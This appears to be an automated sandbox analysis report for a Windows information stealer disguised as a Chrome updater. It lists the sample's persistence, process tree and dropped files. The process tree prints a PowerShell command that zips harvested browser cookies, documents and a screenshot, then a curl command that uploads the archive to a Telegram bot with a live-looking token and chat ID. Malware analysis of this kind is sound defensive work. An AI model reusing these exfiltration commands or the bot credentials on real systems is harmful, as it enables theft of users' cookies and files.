Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    17/05/2026, 06:29

General

  • Target
    2026-05-17_2057ef17532619211685848190b1d13a_cobalt-strike_icedid_luca-stealer_njrat_satacom.exe
  • Size 1.4MB
  • Sample260517-g897wsds71
  • SHA256 308d77debd70a777d806cae3de9853fc66b05b3d45c406a55c6fa04d31cd2ae5
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-05-17_2057ef17532619211685848190b1d13a_cobalt-strike_icedid_luca-stealer_njrat_satacom.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-05-17_2057ef17532619211685848190b1d13a_cobalt-strike_icedid_luca-stealer_njrat_satacom.exe"
    1⤵
    • Adds Run key to start application
    PID:3172
  • C:\Users\Admin\AppData\Roaming\ChromeUpdate\chrome_updater.exe
    C:\Users\Admin\AppData\Roaming\ChromeUpdate\chrome_updater.exe
    1⤵
    • Executes dropped EXE
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:3772
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe"
      2⤵
        PID:5044
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
        2⤵
          PID:4960
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\Kuinaextra\*' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\Kuinaextra.zip' -Force"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2464
        • C:\Windows\system32\curl.exe
          curl.exe -s -X POST "https://api.telegram.org/bot8739675534:AAFeC8FFpcnhKs9FUwh32LtOpm0DabsnLq4/sendDocument" -F "chat_id=-1003897970359" -F "document=@C:\Users\Admin\AppData\Local\Temp\Kuinaextra.zip" -F "caption=<C:\Users\Admin\AppData\Local\Temp\caption.txt" -F "parse_mode=Markdown"
          2⤵
            PID:3360
        • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
          "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
          1⤵
            PID:4056
          • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
            "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
            1⤵
              PID:3036

            Network

                  MITRE ATT&CK Enterprise v16

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  Kuinaextra.zip

                  • Path C:\Users\Admin\AppData\Local\Temp\Kuinaextra.zip
                  • Size 5.6MB
                  • SHA256 db63eae39bf47014cb965ef9fcdd0b27f758861b8c3d3829eb6cfbd335cc20bc
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  cookies.json

                  • Path C:\Users\Admin\AppData\Local\Temp\Kuinaextra\Chrome\Default\cookies.json
                  • Size 337B
                  • SHA256 1293e42f904a55f6fab358caad3b80bf38fd8f4b571bd3efa0e797ac8043939d
                  • MD5 SHA1 SHA512 TLSH

                  cookies.txt

                  • Path C:\Users\Admin\AppData\Local\Temp\Kuinaextra\Chrome\Default\cookies.txt
                  • Size 274B
                  • SHA256 2df9c507210e27112444dd29dacaafd0b19b73fa88ad296ef398184031cb8f9f
                  • MD5 SHA1 SHA512 TLSH

                  ClearUnpublish.txt

                  • Path C:\Users\Admin\AppData\Local\Temp\Kuinaextra\Files\ClearUnpublish.txt
                  • Size 476KB
                  • SHA256 9d70018969d4482587a5cb79ddb3c8ff2580ea044134a01c59e58bc693a62806
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  CompressStop.docx

                  • Path C:\Users\Admin\AppData\Local\Temp\Kuinaextra\Files\CompressStop.docx
                  • Size 18KB
                  • SHA256 9b53094759d98044d975b8f079e371cb94fb763996f3bfb8c8bdabaeaf19758d
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  ConvertToUninstall.pdf

                  • Path C:\Users\Admin\AppData\Local\Temp\Kuinaextra\Files\ConvertToUninstall.pdf
                  • Size 351KB
                  • SHA256 87a0121f4ef99ddfb7f5e40f8e08955f4ee8e17f55f1dd0f7d7b3744f08df813
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  DisconnectStop.txt

                  • Path C:\Users\Admin\AppData\Local\Temp\Kuinaextra\Files\DisconnectStop.txt
                  • Size 374KB
                  • SHA256 4c19afccdbc9082e2e6ce1f9d5aa9a3ec1fd380bbcec4bf939e2a2ed240c721a
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  HideUnpublish.pdf

                  • Path C:\Users\Admin\AppData\Local\Temp\Kuinaextra\Files\HideUnpublish.pdf
                  • Size 544KB
                  • SHA256 fc4b2649660443a7bc91cfb4aa0baa0fa569c381077b87f17308758f1fd768fa
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  InitializeDisconnect.txt

                  • Path C:\Users\Admin\AppData\Local\Temp\Kuinaextra\Files\InitializeDisconnect.txt
                  • Size 953KB
                  • SHA256 1c0f2b3a06ad2364b080dd7776a339ba1fac7da0d5df1e684e9516dcfe2ebfde
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  LockOptimize.docx

                  • Path C:\Users\Admin\AppData\Local\Temp\Kuinaextra\Files\LockOptimize.docx
                  • Size 19KB
                  • SHA256 f08c69efe45bc9199cd2b4455366cad0349c8ca239cc5f1fe4bb38d6522ce1ba
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  RemoveHide.txt

                  • Path C:\Users\Admin\AppData\Local\Temp\Kuinaextra\Files\RemoveHide.txt
                  • Size 850KB
                  • SHA256 cd24750e25011d41e56f63a9c6f45315f9d0a8a4a21d08c55ec2d37379bc9dc9
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  SearchComplete.txt

                  • Path C:\Users\Admin\AppData\Local\Temp\Kuinaextra\Files\SearchComplete.txt
                  • Size 283KB
                  • SHA256 c943178f3842ae401a36d4cec29c7f8ef692496c5a528becf4da34ada007214c
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  StepRegister.txt

                  • Path C:\Users\Admin\AppData\Local\Temp\Kuinaextra\Files\StepRegister.txt
                  • Size 397KB
                  • SHA256 ba740ab8f122423292325dab250e8c660bf5d1c83fccf50541a0ec04d806369a
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  StopStart.png

                  • Path C:\Users\Admin\AppData\Local\Temp\Kuinaextra\Files\StopStart.png
                  • Size 933KB
                  • SHA256 76f4f60a46457511f9db628672409cb5ddf9fc428568638c096bc926679cf87a
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  UpdateImport.txt

                  • Path C:\Users\Admin\AppData\Local\Temp\Kuinaextra\Files\UpdateImport.txt
                  • Size 419KB
                  • SHA256 05a5115d7be1431f71a8f78a03c8f2888f84215ceb7efe138a6c963484d295fb
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  ss.jpg

                  • Path C:\Users\Admin\AppData\Local\Temp\Kuinaextra\ss.jpg
                  • Size 116KB
                  • SHA256 dd53e5cece946a941fbd46f1f45952cdde3a7967e7440fc92b0002b396014039
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  __PSScriptPolicyTest_x00ru5qe.a4o.ps1

                  • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_x00ru5qe.a4o.ps1
                  • Size 60B
                  • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                  • MD5 SHA1 SHA512 TLSH

                  caption.txt

                  • Path C:\Users\Admin\AppData\Local\Temp\caption.txt
                  • Size 64B
                  • SHA256 21425b81ffc3cce88b643cc2d349661291a7d3a4b0b03002a01a6fdeb88d00fe
                  • MD5 SHA1 SHA512 TLSH

                  chrome_updater.exe

                  • Path C:\Users\Admin\AppData\Roaming\ChromeUpdate\chrome_updater.exe
                  • Size 1.4MB
                  • SHA256 308d77debd70a777d806cae3de9853fc66b05b3d45c406a55c6fa04d31cd2ae5
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  memory/2464-35-0x00000252C1620000-0x00000252C162A000-memory.dmp

                  memory/2464-19-0x00000252C1390000-0x00000252C13B2000-memory.dmp

                  memory/2464-31-0x00000252C1620000-0x00000252C163C000-memory.dmp

                  memory/2464-32-0x00000252C1640000-0x00000252C16F3000-memory.dmp

                  memory/2464-33-0x00000252C1700000-0x00000252C170A000-memory.dmp

                  memory/2464-34-0x00000252C1700000-0x00000252C1712000-memory.dmp